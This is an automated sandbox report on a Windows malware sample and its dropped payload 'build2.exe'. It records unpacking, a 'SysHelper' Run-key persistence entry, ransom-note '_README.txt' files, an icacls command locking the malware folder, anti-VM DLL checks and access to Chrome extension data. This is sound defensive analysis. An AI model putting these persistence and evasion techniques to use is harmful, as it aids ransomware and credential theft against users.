Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdbI source: 8jvTeVxooN.exe, 00000000.00000002.1634605529.0000000005E70000.00000040.00001000.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000003.00000002.1658031837.0000000005E90000.00000040.00001000.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000005.00000002.1668558182.0000000005E70000.00000040.00001000.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000006.00000002.2868958122.0000000000400000.00000040.00000400.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000009.00000002.1739002784.0000000005DA0000.00000040.00001000.00020000.00000000.sdmp, 8jvTeVxooN.exe, 0000000A.00000002.1750386655.0000000000400000.00000040.00000400.00020000.00000000.sdmp, 8jvTeVxooN.exe, 0000000B.00000002.1823212660.0000000005E40000.00000040.00001000.00020000.00000000.sdmp, 8jvTeVxooN.exe, 0000000D.00000002.1834718747.0000000000400000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: 8jvTeVxooN.exe, 00000004.00000003.2270002085.00000000035E3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\i source: 8jvTeVxooN.exe, 00000004.00000003.2339311493.0000000003661000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2343854318.0000000003661000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: 8jvTeVxooN.exe, 00000004.00000003.2242006296.0000000003154000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2261338152.000000000317F000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2242287588.0000000003797000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2263140213.000000000318D000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2261225248.0000000003154000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2242895239.000000000318F000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2262988748.0000000003788000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2263023581.0000000003798000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2243721047.0000000003797000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2263050017.0000000003185000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2260970474.000000000377F000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2242673984.000000000315A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\s:3x source: 8jvTeVxooN.exe, 00000004.00000003.2014549664.0000000003178000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2043527617.0000000003175000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2043488787.0000000003158000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2014494280.000000000315B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\Api\y\7g source: 8jvTeVxooN.exe, 00000004.00000003.2346568639.0000000003A74000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2347385665.0000000003AD1000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2346890351.0000000003A9D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\* source: 8jvTeVxooN.exe, 00000004.00000003.2243604156.00000000036FB000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2241688254.00000000036D3000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2222590135.00000000036DF000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2242100794.00000000036DF000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2222296038.00000000036D3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\\O source: 8jvTeVxooN.exe, 00000004.00000003.2329711043.000000000393B000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2305864286.000000000393B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: 8jvTeVxooN.exe, 00000004.00000003.2340019883.0000000003A74000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\e\ source: 8jvTeVxooN.exe, 00000004.00000003.2280340145.00000000036FB000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2281044676.000000000371C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\> source: 8jvTeVxooN.exe, 00000004.00000002.2352023888.00000000006F7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\dawixasaciceh-fahi4\xojiyace\mijicina.pdb source: 8jvTeVxooN.exe, 8jvTeVxooN.exe.1.dr
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error12704.txttxt* source: 8jvTeVxooN.exe, 00000004.00000003.2222590135.00000000036DF000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2222296038.00000000036D3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\ source: 8jvTeVxooN.exe, 00000004.00000003.2242006296.0000000003154000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2243923892.0000000003172000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2242673984.000000000315A000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2243015454.0000000003168000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2222702605.0000000003178000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\OneDrive\logs\.pdb\J` source: 8jvTeVxooN.exe, 00000004.00000003.2343975906.00000000039C2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\\y\\ta\7 source: 8jvTeVxooN.exe, 00000004.00000003.2349385724.00000000031AB000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2347555316.0000000003194000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\be\ source: 8jvTeVxooN.exe, 00000004.00000003.2331386938.000000000366E000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2330615956.000000000365F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\LocalCache\Roaming\Microsoft\Windows\Start Menu\Programs\.pdb\! source: 8jvTeVxooN.exe, 00000004.00000003.2343975906.00000000039C2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: 8jvTeVxooN.exe, 00000004.00000003.2242287588.0000000003718000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2241688254.00000000036D3000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2222590135.00000000036DF000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2243461413.000000000371B000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2242100794.00000000036DF000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2222296038.00000000036D3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\* source: 8jvTeVxooN.exe, 00000004.00000003.2222656039.00000000035BE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\> source: 8jvTeVxooN.exe, 00000004.00000003.2243604156.00000000036FB000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2241688254.00000000036D3000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2222590135.00000000036DF000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2242100794.00000000036DF000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2222296038.00000000036D3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Dan\Desktop\work\sqlite\tmp\sqlite_bld_dir\2\sqlite3.pdb source: build2.exe, 00000008.00000002.2874123244.0000000020EAB000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2873498296.000000001E968000.00000002.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\Cache\zlw source: 8jvTeVxooN.exe, 00000004.00000002.2352023888.00000000006F7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\Jw source: 8jvTeVxooN.exe, 00000004.00000003.2281956656.00000000035C6000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2281124734.00000000035C6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\a\\*M source: 8jvTeVxooN.exe, 00000004.00000003.2261146035.0000000003603000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2241944533.0000000003601000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2241374237.00000000035E4000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2261307600.0000000003637000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2242243160.0000000003611000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Unpacked PE file: 1.2.8jvTeVxooN.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Unpacked PE file: 4.2.8jvTeVxooN.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Unpacked PE file: 6.2.8jvTeVxooN.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe	Unpacked PE file: 8.2.build2.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Unpacked PE file: 10.2.8jvTeVxooN.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Unpacked PE file: 13.2.8jvTeVxooN.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Unpacked PE file: 1.2.8jvTeVxooN.exe.400000.0.unpack
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Unpacked PE file: 4.2.8jvTeVxooN.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Unpacked PE file: 6.2.8jvTeVxooN.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe	Unpacked PE file: 8.2.build2.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Unpacked PE file: 10.2.8jvTeVxooN.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Unpacked PE file: 13.2.8jvTeVxooN.exe.400000.0.unpack

Source: C:\Users\user\Desktop\8jvTeVxooN.exe

Code function: 1_2_00412220 GetCommandLineW,CommandLineToArgvW,PathFindFileNameW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,K32EnumProcesses,OpenProcess,K32EnumProcessModules,K32GetModuleBaseNameW,CloseHandle,

1_2_00412220

Source: sqln[1].dll.8.dr

Static PE information: section name: .00cfg

Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 0_2_004052B5 push ecx; ret	0_2_004052C8
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 0_2_044370AF push ecx; retf	0_2_044370B2
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 0_2_05E98F05 push ecx; ret	0_2_05E98F18
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 1_2_00428565 push ecx; ret	1_2_00428578
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 3_2_044850AF push ecx; retf	3_2_044850B2
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 3_2_05EB8F05 push ecx; ret	3_2_05EB8F18
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 4_2_0050D050 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 4_2_0050D008 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 4_2_0050D028 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 4_2_0050D090 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 4_2_0050D0A8 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 4_2_0050D318 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 4_2_0050C4E0 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 4_2_0050D550 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 4_2_00428565 push ecx; ret	4_2_00428578
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 4_2_0050D698 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 4_2_0050C960 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 4_2_0050C928 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 4_2_0050C988 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 4_2_0050C9A8 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 4_2_0050CB78 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 4_2_0050CD60 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 4_2_0050CDF0 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 4_2_0050CE58 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 4_2_0050CF28 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 4_2_0050CFC0 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 4_2_0050CF90 push eax; retn 004Dh	4_2_0050D6B5

Persistence and Installation Behavior

Infects executable files (exe, dll, sys, html)

Source: C:\Users\user\Desktop\8jvTeVxooN.exe

System file written: C:\Users\user\AppData\Local\Temp\chrome.exe

Jump to behavior

Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File created: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Jump to dropped file
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\build2[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File created: C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\sqln[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File created: C:\_README.txt	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File created: C:\$WinREAgent\_README.txt	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File created: C:\$WinREAgent\Scratch\_README.txt	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File created: C:\Users\user\_README.txt	Jump to behavior

Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SysHelper			Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SysHelper			Jump to behavior

Source: C:\Users\user\Desktop\8jvTeVxooN.exe

Code function: 0_2_00404F7E EncodePointer,__initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00404F7E

Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot	Jump to behavior
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot
Source: C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate
Source: C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot

Source: C:\Users\user\Desktop\8jvTeVxooN.exe

Process created: C:\Windows\SysWOW64\icacls.exe icacls "C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631" /deny *S-1-1-0:(OI)(CI)(DE,DC)

Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: build2.exe PID: 6232, type: MEMORYSTR

Found stalling execution ending in API Sleep call

Source: C:\Users\user\Desktop\8jvTeVxooN.exe

Stalling execution: Execution stalls by calling Sleep

graph_4-42934

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: build2.exe, 00000008.00000002.2868783397.0000000000400000.00000040.00000400.00020000.00000000.sdmp

Binary or memory string: AAVGHOOKX.DLLAVGHOOKA.DLLSNXHK.DLLSBIEDLL.DLLAPI_LOG.DLLDIR_WATCH.DLLPSTOREC.DLLVMCHECK.DLLWPESPY.DLLCMDVRT32.DLLCMDVRT64.DLL

Source: C:\Users\user\Desktop\8jvTeVxooN.exe

Code function: 0_2_0443571C rdtsc

0_2_0443571C

Source: C:\Users\user\Desktop\8jvTeVxooN.exe

Code function: 4_2_00481920 GetVersionExA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,NetStatisticsGet,NetStatisticsGet,FreeLibrary,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateToolhelp32Snapshot,GetTickCount,Heap32ListFirst,Heap32First,Heap32Next,GetTickCount,Heap32ListNext,GetTickCount,GetTickCount,GetTickCount,Process32First,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,CloseHandle,FreeLibrary,GlobalMemoryStatus,GetCurrentProcessId,

4_2_00481920

Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: _malloc,_malloc,_wprintf,_free,GetAdaptersInfo,_free,_malloc,GetAdaptersInfo,_sprintf,_wprintf,_wprintf,_free,		1_2_0040E670
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: _malloc,_malloc,_wprintf,_free,GetAdaptersInfo,_free,_malloc,GetAdaptersInfo,_sprintf,_wprintf,_wprintf,_free,		4_2_0040E670

Source: C:\Users\user\Desktop\8jvTeVxooN.exe

Thread delayed: delay time: 700000

Jump to behavior

Source: C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\sqln[1].dll

Jump to dropped file

Source: C:\Users\user\Desktop\8jvTeVxooN.exe

Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess

graph_1-39502

Source: C:\Users\user\Desktop\8jvTeVxooN.exe TID: 2676	Thread sleep time: -700000s >= -30000s			Jump to behavior
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe TID: 5996	Thread sleep count: 156 > 30

Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 1_2_00410160 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,FindNextFileW,FindClose,	1_2_00410160
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 1_2_0040F730 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,_wcsstr,_wcsstr,FindNextFileW,FindClose,	1_2_0040F730
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 1_2_0040FB98 PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,FindNextFileW,FindClose,	1_2_0040FB98
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 4_2_0040F730 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,_wcsstr,_wcsstr,FindNextFileW,FindClose,	4_2_0040F730
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 4_2_00410160 Sleep,PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,FindNextFileW,FindClose,	4_2_00410160
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 4_2_0040FB98 PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,FindNextFileW,FindClose,	4_2_0040FB98

Source: C:\Users\user\Desktop\8jvTeVxooN.exe

Thread delayed: delay time: 700000

Jump to behavior

Source: C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\
Source: C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\
Source: C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\
Source: C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\
